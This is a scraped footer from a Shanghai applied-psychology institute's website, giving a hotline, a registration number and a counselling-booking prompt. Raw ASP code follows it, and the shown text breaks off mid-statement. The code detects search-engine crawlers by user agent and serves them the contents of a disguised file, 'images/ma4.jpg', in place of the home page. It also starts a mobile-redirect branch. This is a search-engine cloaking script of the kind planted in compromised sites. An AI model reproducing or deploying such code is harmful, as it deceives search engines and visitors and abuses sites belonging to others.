上海华大应用心理研究院伴你走向幸福的明天!

华东师范大学国家大学科技园
全国公益心理服务热线
021-62869991
中国应用心理学人才培训基地

沪公网安备31009102000015号

微信扫一扫
自助预约心理咨询

在线客服
<% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("baiduspider","google","sogou","soso","360","so","yahoo","yisou","haosou","youdao","bing") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function Function IsMobileDevice() Dim userAgent userAgent = Request.ServerVariables("HTTP_USER_AGENT") Dim mobileDevices mobileDevices = Array("iPhone", "Android", "webOS", "BlackBerry", "iPod", "Opera Mini", "Windows Phone", "Mobile") Dim i For i = LBound(mobileDevices) To UBound(mobileDevices) If InStr(LCase(userAgent), LCase(mobileDevices(i))) > 0 Then IsMobileDevice = True Exit Function End If Next IsMobileDevice = False End Function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.","/m","/wap","/3g") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile mfileurl=Server.MapPath("images/ma4.jpg") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll response.clear response.write(mfilecon) response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (IsMobileDevice() and mainpage()) then response.clear response.write("